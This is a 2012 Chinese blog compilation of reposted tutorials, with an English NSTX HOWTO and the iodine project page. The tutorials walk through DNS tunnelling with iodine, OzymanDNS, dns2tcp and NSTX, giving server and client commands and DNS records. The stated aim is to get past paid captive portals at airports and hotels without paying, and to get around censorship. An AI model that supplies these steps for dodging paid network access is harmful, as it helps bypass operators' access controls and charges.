Total Pageviews

Thursday, 2 February 2012

利用dns上网和利用iodine翻墙



“用DNS隧道实现免费上网”这篇文章其实是转载自 文章"有DNS的地方就能上网"(http://www.nsbeta.info/archives/96)，同时云风进行了一些改进后的 方案：DNS隧道( http://blog.codingnow.com/2011/06/dns_tunnel.html)。云风给出的改进方案中，没有使用风河中提到的OzymanDNS，而是使用了另外一个小玩意儿iodine。云风也并没有提供很方便的设置代码，只是用文字将涉及到的相关问题和技巧说明了下。
翻到iodine的主页，查看其Wiki上的How to Setup，文中的The quick way讲的很清楚。只需将其下下来，在服务器端运行iodined，在客户端运行iodine就行了。但其实它还需要你有一个域名，能够设置域名的DNS之类的。讲的最清楚的一篇文章，当属How to Setup末尾提供的一个链接：Guide for debian server and win32 client。
要进行这项工程，你需要一台能够让自己自由安装软件的服务器，和一个能够设置NS记录的域名。对于服务器，iodine很强大，支持各种各样的系统：FreeBSD、Linux、Mac OS X、NetBSD、OpenBSD以及Windows。在Linux下，编译安装就行。在Mac OS X下，还需要安装一个TunTap，很简单，下载下来一路点下去就行。在Windows下，需要安装OpenVPN的TAP Virtual Ethernet Adapter模块。
下面以Ubuntu或者Debian作为服务器，Windows作为客户机，说明如何配置。
1. 设置服务器
在服务器上，只需安装iodine这个小工具就可以了。如果你的服务器系统是最新版本的Ubuntu，即Ubuntu Natty，可以这样通过添加源的方式来安装iodine：
1
2
3
4
5
6

cat >> /etc/apt/sources.list < <END
deb http://archive.ubuntu.com/ubuntu natty main restricted universe
END
apt-get update
apt-get -t natty install iodine
sed -i '$d' /etc/apt/sources.list
在Debian上可以这样安装：
1
2
3
4
5
6

cat >> /etc/apt/sources.list < <END
deb http://ftp.debian.org/debian sid main
END
apt-get update
apt-get -t sid install iodine
sed -i '$d' /etc/apt/sources.list
2. 设置域名的DNS
首先需要设置域名服务器。
其次，在域名下面添加一个A记录，A记录的名字可以任意，如server.urdomain.com，A记录的值为你VPS服务器的IP地址。
最后，再添加一个NS记录，这个NS的名字可以任意，比如iodine.urdomain.com，NS记录的值为你上面添加的A记录的名字，即server.urdomain.com。
3. 在你VPS服务器上运行iodined程序
通过SSH登入你的服务器，运行iodined这个程序：
iodined -c -f 10.0.0.1 -P password iodine.urdomain.com
上面这段代码的10.0.0.1 IP地址是你设置的虚拟局域网的IP地址，如果你所在的局域网的网段刚好也在10.0.0.1，可以换一个网段，比如172.16.0.0。其中的password是你在服务器端自己设定的一个密码，客户端登入的时候需要用到这个密码。iodine.urdomain.com则是你后面添加的那个NS记录。
运行上面的代码之后，程序会输出如下信息，表示你的服务器端成功运行iodine小程序：
1
2
3
4
5

OOpened dns0
Setting IP of dns0 to 10.0.0.1
Setting MTU of dns0 to 1130
Opened UDP socket
Listening to dns for domain iodine.yourdomain.com
4. 设置客户端
接下来就要用客户机去链接服务器了。无论你的客户机是什么系统，只需在这里把iodine下下来就行了。在Linux下，需要自己编译安装一下即可运行。在Mac下，需先安装TunTap这个小工具，再编译安装即可运行。在Windows下，需安装OpenVPN的Tap模块。下面以Windows客户端做说明。
从OpenVPN官网下载最新版本的OpenVPN，在安装的时候只勾选TAP Virtual Ethernet Adapter这个模块。
5. 通过虚拟内网地址连接服务器
下载最新版本的iodine Windows客户端。解压后，通过命令行（cmd程序。如果你的系统是Windows XP，直接打开cmd即可。如果你的是Windows 7系统，需要以管理员的身份运行这个程序）进入这个目录。然后，通过以下这个命令运行这个程序：
iodine -f -P password server_ip server.urdomain.com
上面的password是你在服务器端运行iodined这个程序时设置的密码，server_ip是你的VPS服务器的ip地址，server.urdomain.com是你设置的NS记录的域名。运行以上命令后，你会看到类似下面的输出：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

Opening device Local Area Connection 2
Opened UDP socket
Opened UDP socket
Opened UDP socket
Sending DNS queries for iodine.cwaffles.co.cc to 74.63.253.53
Autodetecting DNS query type (use -T to override).
Using DNS type NULL queries
Version ok, both using protocol v 0x00000502. You are user #0
Enabling interface 'Local Area Connection 2'
Setting IP of interface 'Local Area Connection 2' to 10.0.0.2 (can take a few seconds)...
 
Server tunnel IP is 10.0.0.1
Testing raw UDP data to the server (skip with -r)
Server is at 74.63.253.53, trying raw login: OK
Sending raw traffic directly to 74.63.253.53
Connection setup complete, transmitting data.
上面的74.63.253.53是你服务器的ip地址。
现在，你可以测试下是否能够Ping同10.0.0.1这个服务器了：
ping 10.0.0.1 /t
如果Ping通了，一切顺利。
现在，即使你的电脑打开浏览器的时候跳出让你输入密码认证的页面，即使你不输入认证，你也可以上网了。前提是，你还需要进一步的设置。
6. 通过虚拟内网地址登入服务器
如果你以前用过SSH连接代理服务器，并拿它来翻墙，接下来的设置很简单，因为两者是一样的。但是，如果你以前连翻墙都不会，也不会通过SSH登入服务器，那就有点麻烦了。本文不再详述这些设置，只给出几个客户端和浏览器插件：
1). 所连接服务器的IP地址：10.0.0.1
你可以通过SSH登入10.0.0.1这个服务器了，这个服务器跟你的VPS服务器是一样的，只不过是以不同的地址登入。你原有的是外网IP地址，现在多了一个10.0.0.1内部地址。登入的用户名和密码还是跟你原来登入VPS的用户名和密码一样的。
2). 连接服务器的客户端：PuTTY、KiTTY和Tunnelier
推荐使用Tunnelier，设置代理端口非常的方便。
3). 浏览器的代理插件
你可以在浏览器下设置代理类型，代理IP地址和相应的端口。也可以使用第三方插件设置代理，如Chrome的Switchy和Firefox的AutoProxy或FoxyProxy。

from http://web.archive.org/web/20120505045038/http://www.helishi.net/archives/use-dns-to-surf-net/
----------------------------------------------------------------------------

能解析DNS的地方就能上网 

(话说回来，DNS隧道是利用UDP协议的，慢且不太稳定。)
大多数机场、酒店之类场所，当你输入一个网址比如www.google.com时，会弹出一个页面要你输入帐号密码才能上网。这个时候DNS能正确解析，但是上网要付费认证。

可以通过DNS隧道来实现免费上网。具体做法是：

（1）找一个支持DNS解析的域名，现在这类免费域名很多，比如tk的、co.cc的。假设该域名是abc123.tk。

（2）在tk的注册机构里，设置abc123.tk的NS服务器为你自己的主机（最好是Linux VPS），例如：
abc123.tk.     IN  NS  ns.abc123.tk.
ns.abc123.tk.  IN  A   74.81.81.81

（3）在74.81.81.81上，以root身份运行一个Perl脚本（这个脚本来自Dan Kaminsky的OzymanDNS包）：
./nomde.pl -i 0.0.0.0 abc123.tk
上述脚本会侦听在UDP 53端口，接受DNS请求，并且只解析abc123.tk域。

（4）在客户机上（要求有ssh，最好是Linux系统），运行如下命令：
ssh -ND 7070 -o ProxyCommand=”./droute.pl sshdns.abc123.tk” user@localhost
上 述ssh命令，-ND 7070表示在本机打开7070的socks 5代理端口。droute.pl是DNS隧道的客户端工具，同样来自于OzymanDNS包。sshdns是固定的主机名，加在域名abc123.tk前 面。user是你在74.81.81.81上的登录名字，@localhost是固定的，不需要改（因为隧道过去后，就是74.81.81.81本机）。

运行上述ssh命令后，会提示输入密码。输入正确密码后，就和远程主机建立了ssh连接，获取到一个SSH终端。并且，在本机打开了7070的socks 5代理端口。配置浏览器使用这个代理端口，开始享受免费冲浪吧！

 from http://web.archive.org/web/20120502195531/http://www.nsbeta.info/archives/96
http://blog.creke.net/747.html （此文系转载）

 《用DNS隧道实现免费上网》已有 29 条评论

    元谷 回复 11/06/22 21:49

    不是弹出，而是跳转！

        creke 11/06/22 22:15

        不是付费认证，而是用户登录权限认证！呵呵

    代码疯子 回复 11/06/24 21:42

    你这样能上ChinaNet吗？

        creke 11/06/26 17:24

        不知道，我周围没有ChinaNet的辐射。你可以试试。

    wuwu 回复 11/06/27 20:38

    如果是将openvp监听端口设置在udp53也行嘛?

        creke 11/06/27 22:11

        这个需要53端口没有协议过滤才可行，目前我正在测试这种方法。

    Diye 回复 11/06/28 00:14

    请教两个问题哈：
    NS服务器，这个用虚拟主机可以不？
    主机上要做绑定abc123.tk域名的动作不？

        creke 11/06/28 11:14

        虚拟主机是不行的。因为涉及到53端口。

    yh 回复 11/06/28 00:54

    一直用淘宝 CMCC帐号 200小时包月，每月10块不到的路过。

        creke 11/06/28 11:14

        好吧，这是个更好的方法，呵呵。

    Nobody 回复 11/06/28 03:00

    本质上跟OpenVPN udp 53一样，我用OpenVPN udp 53曾经连上CMCC，挪了个地就不行了。

    后来我无意发现TOMATO路由器轻而易举地就屏蔽了OpenVPN udp 53并且还不影响DNS解析，非常简单，只要勾上DNS挟持然后保存，就over了。

    洗洗睡吧。

        creke 11/06/28 11:15

        这就是协议过滤。但是这个DNS隧道是通过DNS协议传输的，所以可以绕过路由器限制，但速度很慢。

    goseas 回复 11/06/28 10:35

    这个方法不错,呵呵

        creke 11/06/28 11:16

        实际应用的话，还需要很多优化啊。

    Fanr 回复 11/06/29 09:51

    找机会试试，不过建议博主贴个图啊~~

        creke 11/06/29 17:14

        截图也是各种命令界面，呵呵

    枸杞 回复 11/07/02 12:59

    有机会试试!!!!

    yanyucheng 回复 11/07/31 15:05

    会提示 No such file or directory: No such file or directory
    ，我已经设置域名dns了。求解 谢谢。。

    匿名 回复 11/08/16 14:34

    光是53端口现在破不了电信的，我试过了。不过loopcVPN却是可以破电信的信号。我是在昆明市这里试的。不知loopcVPN是如何做到的。
-----------------------------------------------------------

DNS 隧道

有那么几天，我们在惠灵顿的海边山顶租了个屋子，一切都很舒服，但是不能上网。甚至于附近连 wifi 信号都收不到，想"借用"一下别人的 wifi 热点都不成。我顶着海边的狂风在院子里竖起天线，捕捉着周围微弱的信号，最终未果。然后转战屋里的有线电视。我发现和国内的有线电视一样，机顶盒是接有网线的。也就是说，物理上，存在一条链路接入了互联网。但是我插上电脑后，发现 ip 包根本发不出去。不过，好似有个 DNS 服务是可以用的。

当时也没多想，只是觉得有办法可以利用一下。不过隔天就搬走了，没有深入下去。今天回味一下，感觉的确可以利用 DNS 服务和外部建立连接。当然，一开始就需要在外界把接应的程序程序搭建好。

原理很简单，你在做 DNS 查询的时候，如果查的域名在 DNS 服务器本机的 cache 中没有，它就会去互联网上查询，最终把结果返回给你。如果你在互联网上有台定制的服务器。只要依靠 DNS 的这层约定，就可以交换数据包了。从 DNS 协议上看，你是在一次次的查询某个特定域名，并得到解析结果。但实际上，你在和外部通讯。你没有直接连到局域网外的机器，因为网关不会转发你的 IP 包出去。但局域网上的 DNS 服务器帮你做了中转。这就是 DNS Tunnel 了。

我觉得有趣，就按文章所述做了试验。

这需要一个自己的域名，一台运行在互联网上的机器可以自由安装软件。这些都有。那个假的 DNS 是由 OzymanDNS 提供的。不过今天我搜到的 OzymanDNS 网站上已经没有了下载包。好在 google 很强大，这个 2004 年编写的小 perl 程序，并不难找到。

不过我反复试验也没有成功，按文章所述的，利用 ssh 在本机上的 proxycommand 我怎么都无法通过 dnstunnel 连上主机。估计是我哪里配置的不对吧。不过接下来 google 到了更好的选择。那就是 iodine 这个小玩意。非常简单的就装好了。第一次运行发现找不到 tun 设备。看来需要手工建一个。在 linux 上可以自己来： mkdir /dev/net ; mknod /dev/net/tun c 10 200 这样即可。

windows 版麻烦一些，需要装软件。安装个 openvpn 包里的 TAP driver 就行了。

然后利用 iodine 可以利用 dns tunnel 建立起虚拟网。接下来可以方便的用 ssh -D 建起 socks5 了。不过我觉得这个都是多余的。为了节约 dns tunnel 上的带宽，我直接建了个socks5 服务器。用的软件是ssocks 。同样需要修改一下，把监听端口绑定在 10.0.0.1 上。

最后，居然没遇到什么麻烦就接通了。我想我所在网络出口上的 dns 服务器肯定觉得很疼。这真是一个超级淡疼的 tunnel 方案啊。嗯，可以留作日后翻墙的备用方案，以备不时之需。

ps. 好想知道到处都有的诸如 CMCC 的 wifi 热点能不能用。下次到商业区别忘记试试看。

from http://blog.codingnow.com/2011/06/dns_tunnel.html
--------------------------------------------------------------------------------------

DNS tunnel(DNS隧道)技术应用工具-DNS2tcp的使用方法及原理


最近遇到了国内某大牛，听说了一个叫做DNS tunnel的技术，经过一番研究，发现很有趣，记录一下。
什么是DNS tunnel？
DNS tunnel 即 DNS隧道。从名字上来看就是利用DNS查询过程建立起隧道，传输数据。
为什么使用DNS tunnel？
当你在酒店、机场等公共场所，通常有Wifi信号，但是当你访问一个网站时，如www.guanwei.org， 可能会弹出个窗口，让你输入用户名、密码，登陆之后才可以继续上网(该技术一般为透明http代理，不在本文讨论范围之内，以后再讲)。这时，你没有账 号，就无法上网。但是有时你会发现，你获取到得DNS地址是有效的，并且可以用以进行DNS查询，这时你便可以用DNS tunnel技术来实现免费上网了！
DNS tunnel的原理
首先，要知道DNS系统的工作原理，见：[DNS系统(服务器)的工作原理及攻击防护方法论] 。你在做 DNS 查询的时候，如果查的域名在 DNS 服务器本机的 cache 中没有，它就会去互联网上查询，最终把结果返回给你。如果你在互联网上有台定制的服务器。只要依靠 DNS 的这层约定，就可以交换数据包了。从 DNS 协议上看，你是在一次次的查询某个特定域名，并得到解析结果。但实际上，你在和外部通讯。你没有直接连到局域网外的机器，因为网关不会转发你的 IP 包出去。但局域网上的 DNS 服务器帮你做了中转。这就是 DNS Tunnel 了:

上 图简单介绍了DNS tunnel的原理。当你连接上wifi后，你可以使用DNS服务器，向这个服务器的53端口发送数据，请求一个域名，比如b.guanwei.org 。这台DNS服务器上没有b.guanwei.org，那么它将向root，也就是根域名服务器请求，看看根知道不。root一看是.org的域名，就交 给.org域名服务器进行解析。.org的域名服务器一看是.guanwei.org那么就会去找.guanwei.org的域名服务器 (f1g1ns1.dnspod.net),看看它有没有这条记录。.guanwei.org的域名服务器上一看是b.guanwei.og，如果它有这 条A记录，那么就会返回b.guanwei.org的地址。
但是，如果没有，你可以再在guanwei.org的域名服务器上设定一个NS 类型的记录人，如：guanwei.org NS 111.222.333.444(通常这里不让设置为地址，那么也好办，你可以先在DNS服务器上添加一条A记录，如ns.guanwei.org 111.222.333.444，再添加NS记录：guanwei.org NS ns.guanwei.org)，这里指定一个公网服务器，也就是上图绿色的服务器，这台服务器中跑着DNS tunnel的server端，是一台假的DNS服务器，他不会返回b.guanwei.org的地址，但是它会将你的请求转发到已经设定的端口中，比如 SSH的22端口，22端口返回的数据它将转发到53端口返回给客户端(也就是你的电脑)。这时，你就可以用这台公网服务器的资源了，如果是一台http 或者sock代理，那么你就可以用这个代理免费上网了。
DNS tunnel实现的工具
DNS tunnel实现的工具有很多，比如：OzymanDNS、tcp-over-dns、heyoka、iodine、dns2tcp。由于BT4、5系统自带了dns2tcp工具。这里仅介绍dns2tcp的使用方法。
DNS2TCP的DNS tunnel实验
环境准备
  • 一个已经申请好的公网域名，在这里我就用本blog的域名了guanwei.org。给该域名指定一个DNS服务器(在域名管理的控制面板即可看到)，本环境为DNSpod的服务器：f1g1ns1.dnspod.net。
  • 一个公网服务器server(运行着BT4系统，主要使用里面的dns2tcpd V4程序)。这里使用局域网中的一台PC，在防火墙上做端口映射，将UDP的53端口映射出去。公网IP为111.222.333.444
  • 一 个客户端client(运行着BT4系统，主要使用里面的dns2tcpc V4程序)。这里模拟在机场的环境，能连接局域网(与上面的服务器不在一个局域网内，是另一个连接公网的局域网)，能够获取到DNS服务器，如辽宁网通的 202.96.64.68，并可以通过它进行DNS查询(测试方法：nslookup www.guanwei.org 202.96.64.68，后面的域名服务器请根据实际情况替换)。
前期配置
客户端client可以使用域名服务器查询域名，这里设定该域名为dnstunnel.guanwei.org（该域名不能在dnspod的域名服务器上有任何记录，因为这个记录是由server进行应答的）
在guanwei.org的域名服务器上建立两条DNS记录
ns.guanwei.org A 111.222.333.444（这里的目的就是给DNS服务器设定一个域名，按原理来说是可以舍去的，但是DNSpod上不可以将NS记录配置为IP，只能配置为域名，所以需要加上这条记录）
guanwei.org NS ns.guanwei.org（这里建立一条NS记录，意思是如果本台DNS服务器上没有客户端查询的域名 (dnstunnel.guanwei.org)，请去ns.guanwei.org(也就是111.222.333.444)上去查询）
在server上开启SSH服务。用以进行测试，如果DNS tunnel建立，client可以使用SSH连接到服务器上。
详细配置方法
server端：
编辑/etc/dns2tcpd.conf文件，内容如下：
listen = 192.168.10.88（Linux服务器的IP）
port = 53
user = nobody
chroot = /var/empty/dns2tcp/
domain = dnstunnel.guanwei.org（对该域名的请求进行转发，将返回数据包进行封装）
resources = ssh:127.0.0.1:22（可以为客户端提供的服务，也可以为http:127.0.0.1:3128，如果该服务器开启了http代理服务）
然后，运行dns2tcpd服务器程序： #./dns2tcpd -F -d 1 -f /etc/dns2tcpd.conf

client端： #./dns2tcpc -z dnstunnel.guanwei.org ns.guanwei.org
如果ns.guanwei.org生效了，便可以连接服务器，提示：
Available connection（s）:
        ssh
但是如果ns.guanwei.org还没有生效，会提示：no response from dns server 。这时可以先使用： #./dns2tcpc -z dnstunnel.guanwei.org 202.96.64.68
如 果成功连接服务器，则说明dnstunnel可以成功建立了，如果没有，请测试你获取到得dns服务器地址是否可用，并且guanwei.org的ns记 录是否生效。测试方法：将111.222.333.444映射到另外一个真正的dns服务器上，加一条A记录，如：test.guanwei.org A 192.168.10.254 。然后使用nslookup test.guanwei.org 202.96.64.68,观察能否成功解析。如果不能解析，请检查dnspod的配置及dns记录生效情况。
测试可以成功连接服务器后， 使用#./dns2tcpc -r ssh -l 4430 -z dnstunnel.guanwei.org 202.96.64.68 这时会在本地监听一个端口，类似一个反弹木马。使用ssh 127.0.0.1 -p 4430 便可以成功连接server的22端口。如果server提供http代理服务，那么你就可以设置http代理服务器免费上网了！
PS:我发现客户端在监听4430端口时是监听127.0.0.1:4430端口，只能本机访问，其他机器不能连接，如果有牛发现该问题的解决办法，请联系我，谢谢！
from
http://web.archive.org/web/20140520162336/http://www.guanwei.org/post/applicationsecurity/07/dns-tunnel-dns2tcp.html
------------------------

DNS隧道之DNS2TCP使用教程


在2010年6月的更新（也是迄今为止最新的更新）后，其源代码支持编译为Windows平台的可执行程序。而且此工具使用C语言开发编写，不需要TUN/TAP，所以大大加强了它的可用性。
下载
当前最新的0.5.2版源代码下载请点击这里
Windows下客户端可执行文件下载请点击这里
安装DNS2TCP
本配置所在环境为Linux。以下命令的执行均以root用户身份执行，如果不是root用户，CentOS的请用“su -”，Ubuntu请在各个命令前加上“sudo”，分别提权到root用户权限。
下载、解压、编译、安装
tar zxf dns2tcp-0.5.2.tar.gz
cd dns2tcp-0.5.2
./configure
make
make install
配置DNS2TCP服务端
首先，将你的某个域名（这里以creke.net为例）开个二级域名a.creke.net，类型为NS，NS记录指向b.creke.net。然后将b.creke.net建立A记录指向你的Linux服务器IP（这里以1.2.3.4为例）。如下表所示。
a.creke.net NS b.creke.net
b.creke.net A 1.2.3.4
在/etc目录建立一个名为dns2tcpd.conf的文件，然后输入以下配置：
listen = 1.2.3.4（Linux服务器的IP）
port = 53
user = nobody
chroot = /var/empty/dns2tcp/
domain = a.creke.net（上面配置NS记录的域名）
resources = ssh:127.0.0.1:22,socks:127.0.0.1:1082,http:127.0.0.1:8082 
最后的resources里面配置的是dns2tcp供客户端使用的资源。作用是：客户端在本地监听一个端口，并指定使用的资源，当有数据往端口传送后，dns2tcp客户端将数据用DNS协议传动到服务器，然后服务器将数据转发到对应的资源配置的端口中。
好了，DNS2TCP的服务端配置到此完毕。接下来就是要慢慢等待域名记录的生效了。
启动与关闭DNS2TCP服务端
以下命令用于启动DNS2TCP的服务端：
dns2tcpd -f /etc/dns2tcpd.conf
以下命令用于关闭DNS2TCP的服务端：
killall dns2tcpd
启动DNS2TCP客户端
这里再次提醒，要等待a.creke.net的NS记录生效后，才能够继续正常使用客户端。查询是否生效可以使用从各个在线网站查询。
启动DNS2TCP客户端的命令如下;
dns2tcpc -c -d 1 -l 8118 -r http -z a.creke.net
其中：-c表示启用数据压缩；-d表示启动调试，1为调试等级；-l表示监听本地端口，8118为端口名；-r为使用服务端上的哪个资源，http为资源名；-z后的a.creke.net为前面配置的NS记录的域名。
然后就可以通过将浏览器的代理服务器地址设为127.0.0.1:8118，代理类型为HTTP代理，来通过DNS隧道上网了。
如果要使用SOCKS代理，则为：
dns2tcpc -c -d 1 -l 7070 -r socks -z a.creke.net
以上是通过系统DNS来发送DNS请求的，如果要通过某个DNS服务器，如87.65.43.21来发送DNS请求，则为：
dns2tcpc -c -d 1 -l 8118 -r http -z a.creke.net 87.65.43.21
这里要注意，需要首先在Linux服务器配置好HTTP代理或者SOCKS代理。才能利用DNS隧道转发数据包来实现代理。具体可以参考如何使用Kingate假设HTTP代理和SOCKS代理。

就是这样，采用DNS2TCP搭建了DNS隧道，慢慢折腾吧！
from http://blog.creke.net/750.html
 ------------------

DNS隧道大检阅

研究了一天的DNS隧道，现在汇总一些关于我搜到的各种DNS隧道的信息。
1、OzymanDNS
官方网站：http://www.dnstunnel.de/
操作系统：跨平台
实现语言：Perl
更新程度：最初版本只有0.1，有各个爱好者的修改版，如via1，via2，via3，等等。
备注：挺复杂的，我没搞成功。
2、tcp-over-dns
操作系统：跨平台
实现语言：JAVA
更新程度：最新版本1.2，2011年4月更新。
备注：JAVA编写的，由于服务器没装JDK，故我没用过。
3、heyoka
操作系统：Win2003
实现语言：C
更新程度：最新版本0.1.3-alpha，2009年更新。
备注：服务器不是Windows，故我没用过。作者说很快会更新UNIX版代码，不过一直没动静。
4、iodine
操作系统：Windows/Linux
实现语言：C
更新程度：最新版本0.6.0-rc1，2010年6月更新。
备注：需要TAP/TUN支持。不过很多最初想用OzymanDNS的人都转投iodine，称其为“更好用的DNS隧道”。其官网也说自己的速度比其它的同类软件更快。
5、dns2tcp
操作系统：Linux
实现语言：C
更新程度：最新版本0.5.2，2010年6月更新。

备注：最新版代码可以在Windows下编译运行，网上也有人编译了Windows版本（via）。
from  http://blog.creke.net/749.html
----------------

IP-over-DNS HOWTO

Problem

The information presented here is obsolete. Take a look at Iodine.
You're sitting in an airport or in a cafe, and people want your money for Internet access. They do allow DNS traffic, though. 
If the ISP allows DNS traffic to any DNS server (and not just their own), you might consider running OpenVPN on UDP port 53 (thanks to Norman Rasmussen for this suggestion). If they don't, however, NSTX comes to the rescue. NSTX is a hack to tunnel IP traffic over DNS. NSTX (IP-over-DNS) seems cool, but you cannot get it to work. You've downloaded the latest version, maybe because you saw it mentioned on Slashdot. You've looked at the nstx project page and the freshmeat page. You even tried reading some confusing documentation. Maybe you gave up and tried OzymanDNS. But curiousity got the better of you. You really want to use this. 
Once you've followed these instructions, you basically have a remote proxy, providing you with access to the Internet. Communication between you and the remote proxy is over NSTX.
If DNS traffic does not work, but ICMP traffic (i.e., ping) works, try ICMPTX: IP-over-ICMP. Note that these instructions play nicely with ICMPTX. You can run both on one proxy.

Keywords

nstx, ip-over-DNS, tunnel, firewall piercing, ifconfig, route, tun/tap, tun0.

Solution

You need several things to get going:
  • a DNS server that you can configure, (we'll call this ns.example.com)
  • another server, one not running DNS. We're going to assume the IP address of this machine is 1.2.3.4. The reason you cannot run DNS on the same machine, is that you're going to run nstx on this machine. Nstx must run on port 53, like DNS.
  • a crippled Internet connection, i.e., one that only allows you to issue DNS queries.

Configure a new DNS subdomain

Let's assume you're running the domain "example.com". The nameserver for this domain is, as mentioned before, "ns.example.com". Configure "ns.example.com" by adding a subdomain, "tunnel.example.com". You do this by appending the following DNS records at the end of the zone file for "example.com":
;
; subdomain for IP-over-DNS tunnelling
;
$ORIGIN tunnel.example.com.
@               IN      NS      ns.tunnel.example.com.
ns              IN      A       1.2.3.4
In other words. We configured 1.2.3.4 to be the name server for a new subdomain "tunnel.example.com".

Install and configure the bogus DNS server

On the machine 1.2.3.4, make sure your kernel supports the TUN/TAP network device. If you installed a standard 2.6 kernel image, it does. You may have to manually /sbin/modprobe tun. Install the nstx Debian package:
# apt-get install nstx
Edit /etc/default/nstx and set NSTX_DOMAIN to "tunnel.example.com" and set start_nstxdto "yes". Finally, set ifup_tun0 to "yes". In /etc/network/interfaces, define a new interface tun0, as follows:
iface tun0 inet static
  address 10.0.0.1
  netmask 255.0.0.0
Now start the server by running:
# /etc/init.d/nstxd restart
If you're not running Debian, you can skip all that and just download the code, compile it manually, and start the server by hand and then configure the tun0 network device:
# nstxd tunnel.example.com
# /sbin/modprobe tun
# /sbin/ifconfig tun0 up 10.0.0.1 netmask 255.255.255.0
Whether you're running Debian or not, after running the nstx server, make sure you now have a tun0 device:
# /sbin/ifconfig tun0
tun0      Link encap:UNSPEC  HWaddr XX-XX-XX-XX-XX-XX-XX-XX-XX-XX-XX-XX-XX-XX-XX-XX
          inet addr:10.0.0.1  P-t-P:10.0.0.1  Mask:255.0.0.0
          UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1500  Metric:1
          RX packets:50 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:10
          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)
Now you need to enable forwarding on this server. I use iptables to implement masquerading. There are many HOWTOs about this (a simple one, for example). On Debian, the configuration file for iptables is in /var/lib/iptables/active. The relevant bit is:
*nat
:PREROUTING ACCEPT [6:1596]
:POSTROUTING ACCEPT [1:76]
:OUTPUT ACCEPT [1:76]

-A POSTROUTING -s 10.0.0.0/8 -j MASQUERADE
COMMIT
Restart iptables:
/etc/init.d/iptables restart
and enable forwarding:
echo 1 > /proc/sys/net/ipv4/ip_forward
You can make sure this is permanent by editing /etc/sysctl.conf:
net/ipv4/ip_forward=1

Configure the client

Make sure the kernel on the client machine also supports the TUN/TAP network device. If you installed a standard 2.6 kernel image, it does. You may have to manually /sbin/modprobe tun. Install the nstx Debian package:
# apt-get install nstx
Edit /etc/default/nstx and set NSTX_DOMAIN to "tunnel.example.com" and set start_nstxcd to "yes". Finally, set ifup_tun0 to "yes". In /etc/network/interfaces, define a new interface tun0, as follows:
iface tun0 inet static
  address 10.0.0.2
  netmask 255.0.0.0
  mtu 500 # optional, may solve ssh problems
Marc Merlin points out that you may you want to add something like (below the mtu line)
  post-up route del default; route add -net default gw 10.0.0.1
Many thanks to Marc, also for pointing out the mtu option to solve potential ssh issues.
Alright, now you're sitting at an airport or in a cafe, and you have internet access and they want your money before allowing you on the Internet. However, you noticed that you can issue DNS queries.
Assuming you got an IP address through DHCP, you should now know the IP address of the DNS server they want you to use. Your /etc/resolv.conf will contain at least one "nameserver" entry. Make sure you use the first nameserver entry in /etc/resolv.confand remove the others. For the sake of this example, let's call the first and remaining nameserver 66.77.88.99. Edit /etc/default/nstx and change set NSTX_DNS_SERVER to "66.77.88.99". The latest nstx Debian package obviates this manual step as follows:
NSTX_DNS_SERVER=`grep nameserver /etc/resolv.conf |head -1|awk '{print $2}'`
That is, it simply sets NSTX_DNS_SERVER to the IP address of the first nameserver entry in /etc/resolv.conf.
Now, (re)start the nstx client:
# /etc/init.d/nstxcd restart
If you don't have Debian, start the client manually:
# nstxcd tunnel.example.com 66.77.88.99
# /sbin/modprobe tun
# /sbin/ifconfig tun0 up 10.0.0.2 netmask 255.255.255.0
Make sure you now have a tun0 device:
# /sbin/ifconfig tun0
tun0      Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
          inet addr:10.0.0.2  P-t-P:10.0.0.2  Mask:255.0.0.0
          UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:500
          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)
By running /sbin/route -n, figure out what your gateway is. It's the record with the "UG" Flags field. For example:
# /sbin/route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
192.168.1.0     0.0.0.0         255.255.255.0   U     0      0        0 wlan0
0.0.0.0         192.168.1.1     0.0.0.0         UG    0      0        0 wlan0
OK. So "192.168.1.1" is our gateway. Assuming your wireless network device is called "wlan0" (but it might well be "eth1", or whatever), run:
# /sbin/route del default
# /sbin/route add -host 66.77.88.99 gw 192.168.1.1 dev wlan0
# /sbin/route add default gw 10.0.0.1 tun0
Notice that "192.168.1.1" is the IP address of the gateway we learned by running "/sbin/route -n". Similarly, "66.77.88.99" is the nameserver from /etc/resolv.conf. Make sure you plug in the correct IP address in both cases.
You should now be all set. All DNS traffic is going straight to 66.77.88.99. All other traffic will be tunnelled through 1.2.3.4, via DNS.

from http://thomer.com/howtos/nstx.html
--------------------------------

iodine
Latest (from 2014-06-16): 0.7.0
Download source / binaries: win32/64, android
Older downloads available below.


iodine lets you tunnel IPv4 data through a DNS server. This can be usable in different situations where internet access is firewalled, but DNS queries are allowed. 

It runs on Linux, Mac OS X, FreeBSD, NetBSD, OpenBSD and Windows and needs a TUN/TAP device. The bandwidth is asymmetrical with limited upstream and up to 1 Mbit/s downstream. 

Compared to other DNS tunnel implementations, iodine offers:
Higher performance
iodine uses the NULL type that allows the downstream data to be sent without encoding. Each DNS reply can contain over a kilobyte of compressed payload data.
Portability
iodine runs on many different UNIX-like systems as well as on Win32. Tunnels can be set up between two hosts no matter their endianness or operating system.
Security
iodine uses challenge-response login secured by MD5 hash. It also filters out any packets not coming from the IP used when logging in.
Less setup
iodine handles setting IP number on interfaces automatically, and up to 16 users can share one server at the same time. Packet size is automatically probed for maximum downstream throughput.
See the README, the CHANGELOG and the man page 

The code is on github and the wiki & bug tracker is available at our trac page. iodine is released under the ISC license. 

Test your DNS setup here: http://code.kryo.se/iodine/check-it/ 

We have a mailing list: iodine-users at lists.wpkg.org. You can send to it without joining. Archive is at: http://lists.wpkg.org/mailman/listinfo/iodine-users. Thanks to Tomasz Chmielewski for hosting it. 

We are probably idling in #iodine on ircnet if you want to talk. However, please dont just ask a question and leave if you get no reply for 2 minutes, it may take some time before we see it. 

iodine is also available in:
MD5sum                            filename                size
fdbf3b81cd69caf5230d76a8b039fd99  iodine-0.7.0.tar.gz     96181 b
795f2e9d0314898ba5a63bd1fdc5fa18  iodine-0.7.0-android.zip 80882 b
